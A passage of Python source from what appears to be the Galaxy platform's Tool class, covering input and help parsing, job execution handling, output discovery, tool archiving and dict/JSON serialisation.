self.nginx_upload)) self.action = input_elem.get("action", self.action) # If we have an nginx upload, save the action as a tuple instead of # a string. The actual action needs to get url_for run to add any # prefixes, and we want to avoid adding the prefix to the # nginx_upload_path. if self.nginx_upload and self.app.config.nginx_upload_path and not isinstance(self.action, tuple): if "?" in unquote_plus(self.action): raise Exception( "URL parameters in a non-default tool action can not be used " "in conjunction with nginx upload. Please convert them to " "hidden POST parameters" ) self.action = ( f"{self.app.config.nginx_upload_path}?nginx_redir=", unquote_plus(self.action), ) self.target = input_elem.get("target", self.target) self.method = input_elem.get("method", self.method) # Parse the actual parameters # Handle multiple page case for page_source in pages.page_sources: inputs = self.parse_input_elem(page_source, enctypes) display = page_source.parse_display() self.inputs_by_page.append(inputs) self.inputs.update(inputs) self.display_by_page.append(display) else: self.inputs_by_page.append(self.inputs) self.display_by_page.append(None) self.display = self.display_by_page[0] self.npages = len(self.inputs_by_page) self.last_page = len(self.inputs_by_page) - 1 self.has_multiple_pages = bool(self.last_page) # Determine the needed enctype for the form if len(enctypes) == 0: self.enctype = "application/x-www-form-urlencoded" elif len(enctypes) == 1: self.enctype = enctypes.pop() else: raise Exception(f"Conflicting required enctypes: {str(enctypes)}") # Check if the tool either has no parameters or only hidden (and # thus hardcoded) FIXME: hidden parameters aren't # parameters at all really, and should be passed in a different # way, making this check easier. template_macros = {} if hasattr(tool_source, "root"): template_macros = template_macro_params(tool_source.root) self.template_macro_params = template_macros for param in self.inputs.values(): if not isinstance(param, (HiddenToolParameter, BaseURLToolParameter)): self.input_required = True break def parse_help(self, tool_source): """ Parse the help text for the tool. Formatted in reStructuredText, but stored as Mako to allow for dynamic image paths. This implementation supports multiple pages. """ # TODO: Allow raw HTML or an external link. self.__help = HELP_UNINITIALIZED self.__help_by_page = HELP_UNINITIALIZED self.__help_source = tool_source def parse_outputs(self, tool_source): """ Parse <outputs> elements and fill in self.outputs (keyed by name) """ self.outputs, self.output_collections = tool_source.parse_outputs(self) # TODO: Include the tool's name in any parsing warnings. def parse_stdio(self, tool_source): """ Parse <stdio> element(s) and fill in self.return_codes, self.stderr_rules, and self.stdout_rules. Return codes have a range and an error type (fault or warning). Stderr and stdout rules have a regular expression and an error level (fault or warning). """ exit_codes, regexes = tool_source.parse_stdio() self.stdio_exit_codes = exit_codes self.stdio_regexes = regexes def _parse_citations(self, tool_source): # TODO: Move following logic into ToolSource abstraction. if not hasattr(tool_source, "root"): return [] root = tool_source.root citations: List[str] = [] citations_elem = root.find("citations") if citations_elem is None: return citations for citation_elem in citations_elem: if citation_elem.tag != "citation": pass if hasattr(self.app, "citations_manager"): citation = self.app.citations_manager.parse_citation(citation_elem) if citation: citations.append(citation) return citations def parse_input_elem(self, page_source, enctypes, context=None): """ Parse a parent element whose children are inputs -- these could be groups (repeat, conditional) or param elements. Groups will be parsed recursively. """ rval: Dict[str, Any] = {} context = ExpressionContext(rval, context) for input_source in page_source.parse_input_sources(): # Repeat group input_type = input_source.parse_input_type() if input_type == "repeat": group_r = Repeat() group_r.name = input_source.get("name") group_r.title = input_source.get("title") group_r.help = input_source.get("help", None) page_source = input_source.parse_nested_inputs_source() group_r.inputs = self.parse_input_elem(page_source, enctypes, context) group_r.default = int(input_source.get("default", 0)) group_r.min = int(input_source.get("min", 0)) # Use float instead of int so that math.inf can be used for no max group_r.max = float(input_source.get("max", math.inf)) assert group_r.min <= group_r.max, ValueError( f"Tool with id '{self.id}': min repeat count must be less-than-or-equal to the max." ) # Force default to be within min-max range group_r.default = cast(int, min(max(group_r.default, group_r.min), group_r.max)) rval[group_r.name] = group_r elif input_type == "conditional": group_c = Conditional() group_c.name = input_source.get("name") group_c.value_ref = input_source.get("value_ref", None) group_c.value_ref_in_group = input_source.get_bool("value_ref_in_group", True) value_from = input_source.get("value_from", None) if value_from: value_from = value_from.split(":") temp_value_from = locals().get(value_from[0]) group_c.test_param = rval[group_c.value_ref] group_c.test_param.refresh_on_change = True for attr in value_from[1].split("."): temp_value_from = getattr(temp_value_from, attr) group_c.value_from = temp_value_from # type: ignore[assignment] # ^^ due to https://github.com/python/mypy/issues/2427 assert group_c.value_from for case_value, case_inputs in group_c.value_from(context, group_c, self).items(): case = ConditionalWhen() case.value = case_value if case_inputs: page_source = XmlPageSource(XML(f"<when>{case_inputs}</when>")) case.inputs = self.parse_input_elem(page_source, enctypes, context) else: case.inputs = {} group_c.cases.append(case) else: # Should have one child "input" which determines the case test_param_input_source = input_source.parse_test_input_source() group_c.test_param = self.parse_param_elem(test_param_input_source, enctypes, context) if group_c.test_param.optional: log.debug( f"Tool with id '{self.id}': declares a conditional test parameter as optional, this is invalid and will be ignored." ) group_c.test_param.optional = False possible_cases = list( group_c.test_param.legal_values ) # store possible cases, undefined whens will have no inputs # Must refresh when test_param changes group_c.test_param.refresh_on_change = True # And a set of possible cases for (value, case_inputs_source) in input_source.parse_when_input_sources(): case = ConditionalWhen() case.value = value case.inputs = self.parse_input_elem(case_inputs_source, enctypes, context) group_c.cases.append(case) try: possible_cases.remove(case.value) except Exception: log.debug( "Tool with id '%s': a when tag has been defined for '%s (%s) --> %s', but does not appear to be selectable." % ( self.id, group_c.name, group_c.test_param.name, case.value, ) ) for unspecified_case in possible_cases: log.warning( "Tool with id '%s': a when tag has not been defined for '%s (%s) --> %s', assuming empty inputs." % ( self.id, group_c.name, group_c.test_param.name, unspecified_case, ) ) case = ConditionalWhen() case.value = unspecified_case case.inputs = {} group_c.cases.append(case) rval[group_c.name] = group_c elif input_type == "section": group_s = Section() group_s.name = input_source.get("name") group_s.title = input_source.get("title") group_s.help = input_source.get("help", None) group_s.expanded = input_source.get_bool("expanded", False) page_source = input_source.parse_nested_inputs_source() group_s.inputs = self.parse_input_elem(page_source, enctypes, context) rval[group_s.name] = group_s elif input_type == "upload_dataset": elem = input_source.elem() group_u = UploadDataset() group_u.name = elem.get("name") group_u.title = elem.get("title") group_u.file_type_name = elem.get("file_type_name", group_u.file_type_name) group_u.default_file_type = elem.get("default_file_type", group_u.default_file_type) group_u.metadata_ref = elem.get("metadata_ref", group_u.metadata_ref) try: rval[group_u.file_type_name].refresh_on_change = True except KeyError: pass group_page_source = XmlPageSource(elem) group_u.inputs = self.parse_input_elem(group_page_source, enctypes, context) rval[group_u.name] = group_u elif input_type == "param": param = self.parse_param_elem(input_source, enctypes, context) rval[param.name] = param if hasattr(param, "data_ref"): param.ref_input = context[param.data_ref] self.input_params.append(param) return rval def parse_param_elem(self, input_source, enctypes, context): """ Parse a single "<param>" element and return a ToolParameter instance. Also, if the parameter has a 'required_enctype' add it to the set enctypes. """ param = ToolParameter.build(self, input_source) param_enctype = param.get_required_enctype() if param_enctype: enctypes.add(param_enctype) # If parameter depends on any other paramters, we must refresh the # form when it changes for name in param.get_dependencies(): # Let it throw exception, but give some hint what the problem might be if name not in context: log.error(f"Tool with id '{self.id}': Could not find dependency '{name}' of parameter '{param.name}'") context[name].refresh_on_change = True return param def populate_resource_parameters(self, tool_source): root = getattr(tool_source, "root", None) if ( root is not None and hasattr(self.app, "job_config") and hasattr(self.app.job_config, "get_tool_resource_xml") ): resource_xml = self.app.job_config.get_tool_resource_xml(root.get("id", "").lower(), self.tool_type) if resource_xml is not None: inputs = root.find("inputs") if inputs is None: inputs = parse_xml_string("<inputs/>") root.append(inputs) inputs.append(resource_xml) def populate_tool_shed_info(self, tool_shed_repository): if tool_shed_repository: self.tool_shed = tool_shed_repository.tool_shed self.repository_name = tool_shed_repository.name self.repository_owner = tool_shed_repository.owner self.changeset_revision = tool_shed_repository.changeset_revision self.installed_changeset_revision = tool_shed_repository.installed_changeset_revision self.sharable_url = get_tool_shed_repository_url( self.app, self.tool_shed, self.repository_owner, self.repository_name ) @property def biotools_reference(self) -> Optional[str]: """Return a bio.tools ID if external reference to it is found. If multiple bio.tools references are found, return just the first one. """ return biotools_reference(self.xrefs) @property def help(self): if self.__help is HELP_UNINITIALIZED: self.__ensure_help() return self.__help @property def help_by_page(self): if self.__help_by_page is HELP_UNINITIALIZED: self.__ensure_help() return self.__help_by_page @property def raw_help(self): # may return rst (or Markdown in the future) tool_source = self.__help_source help_text = tool_source.parse_help() return help_text def __ensure_help(self): with HELP_UNINITIALIZED: if self.__help is HELP_UNINITIALIZED: self.__inititalize_help() def __inititalize_help(self): tool_source = self.__help_source self.__help = None __help_by_page = [] help_footer = "" help_text = tool_source.parse_help() if help_text is not None: try: if help_text.find(".. image:: ") >= 0 and (self.tool_shed_repository or self.repository_id): help_text = set_image_paths( self.app, help_text, encoded_repository_id=self.repository_id, tool_shed_repository=self.tool_shed_repository, tool_id=self.old_id, tool_version=self.version, ) except Exception: log.exception( "Exception in parse_help, so images may not be properly displayed for tool with id '%s'", self.id ) try: self.__help = Template( rst_to_html(help_text), input_encoding="utf-8", default_filters=["decode.utf8"], encoding_errors="replace", ) except Exception: log.exception("Exception while parsing help for tool with id '%s'", self.id) # Handle deprecated multi-page help text in XML case. if hasattr(tool_source, "root"): help_elem = tool_source.root.find("help") help_header = help_text help_pages = help_elem.findall("page") # Multiple help page case if help_pages: for help_page in help_pages: __help_by_page.append(help_page.text) help_footer = help_footer + help_page.tail # Each page has to rendered all-together because of backreferences allowed by rst try: __help_by_page = [ Template( rst_to_html(help_header + x + help_footer), input_encoding="utf-8", default_filters=["decode.utf8"], encoding_errors="replace", ) for x in __help_by_page ] except Exception: log.exception("Exception while parsing multi-page help for tool with id '%s'", self.id) # Pad out help pages to match npages ... could this be done better? while len(__help_by_page) < self.npages: __help_by_page.append(self.__help) self.__help_by_page = __help_by_page def find_output_def(self, name): # name is JobToOutputDatasetAssociation name. # TODO: to defensive, just throw IndexError and catch somewhere # up that stack. if ToolOutputCollectionPart.is_named_collection_part_name(name): collection_name, part = ToolOutputCollectionPart.split_output_name(name) collection_def = self.output_collections.get(collection_name, None) if not collection_def: return None return collection_def.outputs.get(part, None) else: return self.outputs.get(name, None) @property def is_workflow_compatible(self): is_workflow_compatible = self._is_workflow_compatible if is_workflow_compatible is None: is_workflow_compatible = self.check_workflow_compatible(self.tool_source) if self.finalized: self._is_workflow_compatible = is_workflow_compatible return is_workflow_compatible def check_workflow_compatible(self, tool_source): """ Determine if a tool can be used in workflows. External tools and the upload tool are currently not supported by workflows. """ # Multiple page tools are not supported -- we're eliminating most # of these anyway if self.finalized and self.has_multiple_pages: return False # This is probably the best bet for detecting external web tools # right now if self.tool_type.startswith("data_source"): return False if hasattr(tool_source, "root"): root = tool_source.root if not string_as_bool(root.get("workflow_compatible", "True")): return False # TODO: Anyway to capture tools that dynamically change their own # outputs? return True def new_state(self, trans): """ Create a new `DefaultToolState` for this tool. It will be initialized with default values for inputs. Grouping elements are filled in recursively. """ state = DefaultToolState() state.initialize(trans, self) return state def get_param(self, key): """ Returns the parameter named `key` or None if there is no such parameter. """ return self.inputs.get(key, None) def get_hook(self, name): """ Returns an object from the code file referenced by `code_namespace` (this will normally be a callable object) """ if self.code_namespace: # Try to look up hook in self.hook_map, otherwise resort to default if name in self.hook_map and self.hook_map[name] in self.code_namespace: return self.code_namespace[self.hook_map[name]] elif name in self.code_namespace: return self.code_namespace[name] return None def visit_inputs(self, values, callback): """ Call the function `callback` on each parameter of this tool. Visits grouping parameters recursively and constructs unique prefixes for each nested set of The callback method is then called as: `callback( level_prefix, parameter, parameter_value )` """ # HACK: Yet another hack around check_values -- WHY HERE? if self.check_values: visit_input_values(self.inputs, values, callback) def expand_incoming(self, trans, incoming, request_context, input_format="legacy"): rerun_remap_job_id = None if "rerun_remap_job_id" in incoming: try: rerun_remap_job_id = trans.app.security.decode_id(incoming["rerun_remap_job_id"]) except Exception as exception: log.error(str(exception)) raise exceptions.MessageException( "Failure executing tool with id '%s' (attempting to rerun invalid job).", self.id ) set_dataset_matcher_factory(request_context, self) # Fixed set of input parameters may correspond to any number of jobs. # Expand these out to individual parameters for given jobs (tool executions). expanded_incomings, collection_info = expand_meta_parameters(trans, self, incoming) # Remapping a single job to many jobs doesn't make sense, so disable # remap if multi-runs of tools are being used. if rerun_remap_job_id and len(expanded_incomings) > 1: raise exceptions.MessageException( "Failure executing tool with id '%s' (cannot create multiple jobs when remapping existing job).", self.id, ) # Process incoming data validation_timer = self.app.execution_timer_factory.get_timer( "internals.galaxy.tools.validation", "Validated and populated state for tool request", ) all_errors = [] all_params = [] for expanded_incoming in expanded_incomings: params = {} errors: Dict[str, str] = {} if self.input_translator: self.input_translator.translate(expanded_incoming) if not self.check_values: # If `self.check_values` is false we don't do any checking or # processing on input This is used to pass raw values # through to/from external sites. params = expanded_incoming else: # Update state for all inputs on the current page taking new # values from `incoming`. populate_state( request_context, self.inputs, expanded_incoming, params, errors, simple_errors=False, input_format=input_format, ) # If the tool provides a `validate_input` hook, call it. validate_input = self.get_hook("validate_input") if validate_input: validate_input(request_context, errors, params, self.inputs) all_errors.append(errors) all_params.append(params) unset_dataset_matcher_factory(request_context) log.info(validation_timer) return all_params, all_errors, rerun_remap_job_id, collection_info def handle_input(self, trans, incoming, history=None, use_cached_job=False, input_format="legacy"): """ Process incoming parameters for this tool from the dict `incoming`, update the tool state (or create if none existed), and either return to the form or execute the tool (only if 'execute' was clicked and there were no errors). """ request_context = proxy_work_context_for_history(trans, history=history) all_params, all_errors, rerun_remap_job_id, collection_info = self.expand_incoming( trans=trans, incoming=incoming, request_context=request_context, input_format=input_format ) # If there were errors, we stay on the same page and display them if any(all_errors): # simple param_key -> message string for tool form. err_data = {key: unicodify(value) for d in all_errors for (key, value) in d.items()} param_errors = {} for d in all_errors: for key, value in d.items(): if hasattr(value, "to_dict"): value_obj = value.to_dict() else: value_obj = {"message": unicodify(value)} param_errors[key] = value_obj raise exceptions.RequestParameterInvalidException( ", ".join(msg for msg in err_data.values()), err_data=err_data, param_errors=param_errors ) else: mapping_params = MappingParameters(incoming, all_params) completed_jobs = {} for i, param in enumerate(all_params): if use_cached_job: completed_jobs[i] = self.job_search.by_tool_input( trans=trans, tool_id=self.id, tool_version=self.version, param=param, param_dump=self.params_to_strings(param, self.app, nested=True), job_state=None, ) else: completed_jobs[i] = None execution_tracker = execute_job( trans, self, mapping_params, history=request_context.history, rerun_remap_job_id=rerun_remap_job_id, collection_info=collection_info, completed_jobs=completed_jobs, ) # Raise an exception if there were jobs to execute and none of them were submitted, # if at least one is submitted or there are no jobs to execute - return aggregate # information including per-job errors. Arguably we should just always return the # aggregate information - we just haven't done that historically. raise_execution_exception = not execution_tracker.successful_jobs and len(all_params) > 0 if raise_execution_exception: raise exceptions.MessageException(execution_tracker.execution_errors[0]) return dict( out_data=execution_tracker.output_datasets, num_jobs=len(execution_tracker.successful_jobs), job_errors=execution_tracker.execution_errors, jobs=execution_tracker.successful_jobs, output_collections=execution_tracker.output_collections, implicit_collections=execution_tracker.implicit_collections, ) def handle_single_execution( self, trans, rerun_remap_job_id, execution_slice, history, execution_cache=None, completed_job=None, collection_info=None, job_callback=None, flush_job=True, ): """ Return a pair with whether execution is successful as well as either resulting output data or an error message indicating the problem. """ try: rval = self.execute( trans, incoming=execution_slice.param_combination, history=history, rerun_remap_job_id=rerun_remap_job_id, execution_cache=execution_cache, dataset_collection_elements=execution_slice.dataset_collection_elements, completed_job=completed_job, collection_info=collection_info, job_callback=job_callback, flush_job=flush_job, ) job = rval[0] out_data = rval[1] if len(rval) > 2: execution_slice.history = rval[2] except (webob.exc.HTTPFound, exceptions.MessageException) as e: # if it's a webob redirect exception, pass it up the stack raise e except ToolInputsNotReadyException as e: return False, e except Exception as e: log.exception("Exception caught while attempting to execute tool with id '%s':", self.id) message = f"Error executing tool with id '{self.id}': {unicodify(e)}" return False, message if isinstance(out_data, dict): return job, list(out_data.items()) else: if isinstance(out_data, str): message = out_data else: message = f"Failure executing tool with id '{self.id}' (invalid data returned from tool execution)" return False, message def find_fieldstorage(self, x): if isinstance(x, cgi_FieldStorage): raise InterruptedUpload(None) elif isinstance(x, dict): [self.find_fieldstorage(y) for y in x.values()] elif isinstance(x, list): [self.find_fieldstorage(y) for y in x] @property def params_with_missing_data_table_entry(self): """ Return all parameters that are dynamically generated select lists whose options require an entry not currently in the tool_data_table_conf.xml file. """ params = [] for input_param in self.input_params: if isinstance(input_param, SelectToolParameter) and input_param.is_dynamic: options = input_param.options if options and options.missing_tool_data_table_name and input_param not in params: params.append(input_param) return params @property def params_with_missing_index_file(self): """ Return all parameters that are dynamically generated select lists whose options refer to a missing .loc file. """ params = [] for input_param in self.input_params: if isinstance(input_param, SelectToolParameter) and input_param.is_dynamic: options = input_param.options if ( options and options.tool_data_table and options.tool_data_table.missing_index_file and input_param not in params ): params.append(input_param) return params def get_static_param_values(self, trans): """ Returns a map of parameter names and values if the tool does not require any user input. Will raise an exception if any parameter does require input. """ args = dict() for key, param in self.inputs.items(): # BaseURLToolParameter is now a subclass of HiddenToolParameter, so # we must check if param is a BaseURLToolParameter first if isinstance(param, BaseURLToolParameter): args[key] = param.get_initial_value(trans, None) elif isinstance(param, HiddenToolParameter): args[key] = model.User.expand_user_properties(trans.user, param.value) else: args[key] = param.get_initial_value(trans, None) return args def execute(self, trans, incoming=None, set_output_hid=True, history=None, **kwargs): """ Execute the tool using parameter values in `incoming`. This just dispatches to the `ToolAction` instance specified by `self.tool_action`. In general this will create a `Job` that when run will build the tool's outputs, e.g. `DefaultToolAction`. """ if incoming is None: incoming = {} try: return self.tool_action.execute( self, trans, incoming=incoming, set_output_hid=set_output_hid, history=history, **kwargs ) except exceptions.ToolExecutionError as exc: job = exc.job job_id = "unknown" if job is not None: job.mark_failed(info=exc.err_msg, blurb=exc.err_code.default_error_message) job_id = job.id log.error("Tool execution failed for job: %s", job_id) raise def params_to_strings(self, params, app, nested=False): return params_to_strings(self.inputs, params, app, nested) def params_from_strings(self, params, app, ignore_errors=False): return params_from_strings(self.inputs, params, app, ignore_errors) def check_and_update_param_values(self, values, trans, update_values=True, workflow_building_mode=False): """ Check that all parameters have values, and fill in with default values where necessary. This could be called after loading values from a database in case new parameters have been added. """ messages = {} request_context = proxy_work_context_for_history(trans, workflow_building_mode=workflow_building_mode) def validate_inputs(input, value, error, parent, context, prefixed_name, prefixed_label, **kwargs): if not error: value, error = check_param(request_context, input, value, context) if error: if update_values and not hasattr(input, "data_ref"): try: previous_value = value value = input.get_initial_value(request_context, context) if not prefixed_name.startswith("__"): messages[prefixed_name] = ( error if previous_value == value else f"{error} Using default: '{value}'." ) parent[input.name] = value except Exception: messages[prefixed_name] = "Attempt to replace invalid value for '%s' failed." % (prefixed_label) else: messages[prefixed_name] = error visit_input_values(self.inputs, values, validate_inputs) return messages def build_dependency_cache(self, **kwds): if isinstance(self.app.toolbox.dependency_manager, CachedDependencyManager): self.app.toolbox.dependency_manager.build_cache( requirements=self.requirements, installed_tool_dependencies=self.installed_tool_dependencies, tool_dir=self.tool_dir, job_directory=None, metadata=False, tool_instance=self, **kwds, ) def build_dependency_shell_commands(self, job_directory=None, metadata=False): """ Return a list of commands to be run to populate the current environment to include this tools requirements. """ return self.app.toolbox.dependency_manager.dependency_shell_commands( requirements=self.requirements, installed_tool_dependencies=self.installed_tool_dependencies, tool_dir=self.tool_dir, job_directory=job_directory, preserve_python_environment=self.requires_galaxy_python_environment, metadata=metadata, tool_instance=self, ) @property def installed_tool_dependencies(self): if self.tool_shed_repository: installed_tool_dependencies = self.tool_shed_repository.tool_dependencies_installed_or_in_error else: installed_tool_dependencies = None return installed_tool_dependencies @property def tool_requirements(self): """ Return all requiremens of type package """ return self.requirements.packages @property def tool_requirements_status(self): """ Return a list of dictionaries for all tool dependencies with their associated status """ return self._view.get_requirements_status({self.id: self.tool_requirements}, self.installed_tool_dependencies) @property def output_discover_patterns(self): # patterns to collect for remote job execution patterns = [] for output in self.outputs.values(): patterns.extend(output.output_discover_patterns) return patterns def build_redirect_url_params(self, param_dict): """ Substitute parameter values into self.redirect_url_params """ if not self.redirect_url_params: return redirect_url_params = None # Substituting parameter values into the url params redirect_url_params = fill_template(self.redirect_url_params, context=param_dict) # Remove newlines redirect_url_params = redirect_url_params.replace("\n", " ").replace("\r", " ") return redirect_url_params def parse_redirect_url(self, data, param_dict): """ Parse the REDIRECT_URL tool param. Tools that send data to an external application via a redirect must include the following 3 tool params: 1) REDIRECT_URL - the url to which the data is being sent 2) DATA_URL - the url to which the receiving application will send an http post to retrieve the Galaxy data 3) GALAXY_URL - the url to which the external application may post data as a response """ redirect_url = param_dict.get("REDIRECT_URL") redirect_url_params = self.build_redirect_url_params(param_dict) # Add the parameters to the redirect url. We're splitting the param # string on '**^**' because the self.parse() method replaced white # space with that separator. params = redirect_url_params.split("**^**") rup_dict = {} for param in params: p_list = param.split("=") p_name = p_list[0] p_val = p_list[1] rup_dict[p_name] = p_val DATA_URL = param_dict.get("DATA_URL", None) assert DATA_URL is not None, "DATA_URL parameter missing in tool config." DATA_URL += f"/{str(data.id)}/display" redirect_url += f"?DATA_URL={DATA_URL}" # Add the redirect_url_params to redirect_url for p_name in rup_dict: redirect_url += f"&{p_name}={rup_dict[p_name]}" # Add the current user email to redirect_url if data.history.user: USERNAME = str(data.history.user.email) else: USERNAME = "Anonymous" redirect_url += f"&USERNAME={USERNAME}" return redirect_url def call_hook(self, hook_name, *args, **kwargs): """ Call the custom code hook function identified by 'hook_name' if any, and return the results """ try: code = self.get_hook(hook_name) if code: return code(*args, **kwargs) except Exception as e: original_message = "" if len(e.args): original_message = e.args[0] e.args = (f"Error in '{self.name}' hook '{hook_name}', original message: {original_message}",) raise def exec_before_job(self, app, inp_data, out_data, param_dict=None): pass def exec_after_process(self, app, inp_data, out_data, param_dict, job=None, **kwds): pass def job_failed(self, job_wrapper, message, exception=False): """ Called when a job has failed """ def discover_outputs( self, out_data, out_collections, tool_provided_metadata, tool_working_directory, job, input_ext, input_dbkey, inp_data=None, final_job_state="ok", ): """ Find any additional datasets generated by a tool and attach (for cases where number of outputs is not known in advance). """ # given the job_execution import is the only one, probably makes sense to refactor this out # into job_wrapper. tool = self permission_provider = output_collect.PermissionProvider(inp_data, tool.app.security_agent, job) metadata_source_provider = output_collect.MetadataSourceProvider(inp_data) job_context = output_collect.JobContext( tool, tool_provided_metadata, job, tool_working_directory, permission_provider, metadata_source_provider, input_dbkey, object_store=tool.app.object_store, final_job_state=final_job_state, flush_per_n_datasets=tool.app.config.flush_per_n_datasets, max_discovered_files=tool.app.config.max_discovered_files, ) collected = output_collect.collect_primary_datasets( job_context, out_data, input_ext, ) output_collect.collect_dynamic_outputs( job_context, out_collections, ) # Return value only used in unit tests. Probably should be returning number of collected # bytes instead? return collected def to_archive(self): tool = self tarball_files = [] temp_files = [] with open(os.path.abspath(tool.config_file)) as fh1: tool_xml = fh1.read() # Retrieve tool help images and rewrite the tool's xml into a temporary file with the path # modified to be relative to the repository root. image_found = False if tool.help is not None: tool_help = tool.help._source # Check each line of the rendered tool help for an image tag that points to a location under static/ for help_line in tool_help.split("\n"): image_regex = re.compile(r'img alt="[^"]+" src="\${static_path}/([^"]+)"') matches = re.search(image_regex, help_line) if matches is not None: tool_help_image = matches.group(1) tarball_path = tool_help_image filesystem_path = os.path.abspath(os.path.join(self.app.config.root, "static", tool_help_image)) if os.path.exists(filesystem_path): tarball_files.append((filesystem_path, tarball_path)) image_found = True tool_xml = tool_xml.replace("${static_path}/%s" % tarball_path, tarball_path) # If one or more tool help images were found, add the modified tool XML to the tarball instead of the original. if image_found: with tempfile.NamedTemporaryFile(mode="w", suffix=".xml", delete=False) as fh2: new_tool_config = fh2.name fh2.write(tool_xml) tool_tup = (new_tool_config, os.path.split(tool.config_file)[-1]) temp_files.append(new_tool_config) else: tool_tup = (os.path.abspath(tool.config_file), os.path.split(tool.config_file)[-1]) tarball_files.append(tool_tup) # TODO: This feels hacky. tool_command = tool.command.strip().split()[0] tool_path = os.path.dirname(os.path.abspath(tool.config_file)) # Add the tool XML to the tuple that will be used to populate the tarball. if os.path.exists(os.path.join(tool_path, tool_command)): tarball_files.append((os.path.join(tool_path, tool_command), tool_command)) # Find and add macros and code files. for external_file in tool.get_externally_referenced_paths(os.path.abspath(tool.config_file)): external_file_abspath = os.path.abspath(os.path.join(tool_path, external_file)) tarball_files.append((external_file_abspath, external_file)) if os.path.exists(os.path.join(tool_path, "Dockerfile")): tarball_files.append((os.path.join(tool_path, "Dockerfile"), "Dockerfile")) # Find tests, and check them for test data. tests = tool.tests if tests is not None: for test in tests: # Add input file tuples to the list. for input in test.inputs: for input_value in test.inputs[input]: input_filename = str(input_value) input_path = os.path.abspath(os.path.join("test-data", input_filename)) if os.path.exists(input_path): td_tup = (input_path, os.path.join("test-data", input_filename)) tarball_files.append(td_tup) # And add output file tuples to the list. for _, filename, _ in test.outputs: output_filepath = os.path.abspath(os.path.join("test-data", filename)) if os.path.exists(output_filepath): td_tup = (output_filepath, os.path.join("test-data", filename)) tarball_files.append(td_tup) for param in tool.input_params: # Check for tool data table definitions. if hasattr(param, "options"): if hasattr(param.options, "tool_data_table"): data_table = param.options.tool_data_table if hasattr(data_table, "filenames"): data_table_definitions = [] for data_table_filename in data_table.filenames: # FIXME: from_shed_config seems to always be False. if not data_table.filenames[data_table_filename]["from_shed_config"]: tar_file = f"{data_table.filenames[data_table_filename]["filename"]}.sample" sample_file = os.path.join( data_table.filenames[data_table_filename]["tool_data_path"], tar_file ) # Use the .sample file, if one exists. If not, skip this data table. if os.path.exists(sample_file): tarfile_path, tarfile_name = os.path.split(tar_file) tarfile_path = os.path.join("tool-data", tarfile_name) tarball_files.append((sample_file, tarfile_path)) data_table_definitions.append(data_table.xml_string) if len(data_table_definitions) > 0: # Put the data table definition XML in a temporary file. table_definition = '<?xml version="1.0" encoding="utf-8"?>\n<tables>\n %s</tables>' table_definition = table_definition % "\n".join(data_table_definitions) with tempfile.NamedTemporaryFile(mode="w", delete=False) as fh3: table_conf = fh3.name fh3.write(table_definition) tarball_files.append( (table_conf, os.path.join("tool-data", "tool_data_table_conf.xml.sample")) ) temp_files.append(table_conf) # Create the tarball. with tempfile.NamedTemporaryFile(suffix=".tgz", delete=False) as fh4: tarball_archive = fh4.name tarball = tarfile.open(name=tarball_archive, mode="w:gz") # Add the files from the previously generated list. for fspath, tarpath in tarball_files: tarball.add(fspath, arcname=tarpath) tarball.close() # Delete any temporary files that were generated. for temp_file in temp_files: os.remove(temp_file) return tarball_archive def to_dict(self, trans, link_details=False, io_details=False, tool_help=False): """Returns dict of tool.""" # Basic information tool_dict = super().to_dict() tool_dict["edam_operations"] = self.edam_operations tool_dict["edam_topics"] = self.edam_topics tool_dict["hidden"] = self.hidden tool_dict["is_workflow_compatible"] = self.is_workflow_compatible tool_dict["xrefs"] = self.xrefs # Fill in ToolShedRepository info if hasattr(self, "tool_shed") and self.tool_shed: tool_dict["tool_shed_repository"] = { "name": self.repository_name, "owner": self.repository_owner, "changeset_revision": self.changeset_revision, "tool_shed": self.tool_shed, } # If an admin user, expose the path to the actual tool config XML file. if trans.user_is_admin: config_file = None if not self.config_file else os.path.abspath(self.config_file) tool_dict["config_file"] = config_file # Add link details. if link_details: # Add details for creating a hyperlink to the tool. if not isinstance(self, DataSourceTool): link = self.app.url_for(controller="tool_runner", tool_id=self.id) else: link = self.app.url_for(controller="tool_runner", action="data_source_redirect", tool_id=self.id) # Basic information tool_dict.update({"link": link, "min_width": self.uihints.get("minwidth", -1), "target": self.target}) # Add input and output details. if io_details: tool_dict["inputs"] = [input.to_dict(trans) for input in self.inputs.values()] tool_dict["outputs"] = [output.to_dict(app=self.app) for output in self.outputs.values()] tool_dict["panel_section_id"], tool_dict["panel_section_name"] = self.get_panel_section() tool_class = self.__class__ # FIXME: the Tool class should declare directly, instead of ad hoc inspection regular_form = tool_class == Tool or isinstance(self, (DatabaseOperationTool, InteractiveTool)) tool_dict["form_style"] = "regular" if regular_form else "special" if tool_help: # create tool help help_txt = "" if self.help: help_txt = self.help.render( static_path=self.app.url_for("/static"), host_url=self.app.url_for("/", qualified=True) ) help_txt = unicodify(help_txt) tool_dict["help"] = help_txt return tool_dict def to_json(self, trans, kwd=None, job=None, workflow_building_mode=False, history=None): """ Recursively creates a tool dictionary containing repeats, dynamic options and updated states. """ if kwd is None: kwd = {} if ( workflow_building_mode is workflow_building_modes.USE_HISTORY or workflow_building_mode is workflow_building_modes.DISABLED ): # We don't need a history when exporting a workflow for the workflow editor or when downloading a workflow history = history or trans.get_history() if history is None and job is not None: history = self.history_manager.get_owned(job.history.id, trans.user, current_history=trans.history) if history is None: raise exceptions.MessageException("History unavailable. Please specify a valid history id") # build request context request_context = proxy_work_context_for_history(trans, history, workflow_building_mode=workflow_building_mode) # load job parameters into incoming tool_message = "" tool_warnings = "" if job: try: job_params = job.get_param_values(self.app, ignore_errors=True) tool_warnings = self.check_and_update_param_values(job_params, request_context, update_values=True) self._map_source_to_history(request_context, self.inputs, job_params) tool_message = self._compare_tool_version(job) params_to_incoming(kwd, self.inputs, job_params, self.app) except Exception as e: raise exceptions.MessageException(unicodify(e)) # create parameter object params = Params(kwd, sanitize=False) # expand incoming parameters (parameters might trigger multiple tool executions, # here we select the first execution only in order to resolve dynamic parameters) expanded_incomings, _ = expand_meta_parameters(trans, self, params.__dict__) if expanded_incomings: params.__dict__ = expanded_incomings[0] # do param translation here, used by datasource tools if self.input_translator: self.input_translator.translate(params) set_dataset_matcher_factory(request_context, self) # create tool state state_inputs: Dict[str, str] = {} state_errors: Dict[str, str] = {} populate_state(request_context, self.inputs, params.__dict__, state_inputs, state_errors) # create tool model tool_model = self.to_dict(request_context) tool_model["inputs"] = [] self.populate_model(request_context, self.inputs, state_inputs, tool_model["inputs"]) unset_dataset_matcher_factory(request_context) # create tool help tool_help = "" if self.help: tool_help = self.help.render( static_path=self.app.url_for("/static"), host_url=self.app.url_for("/", 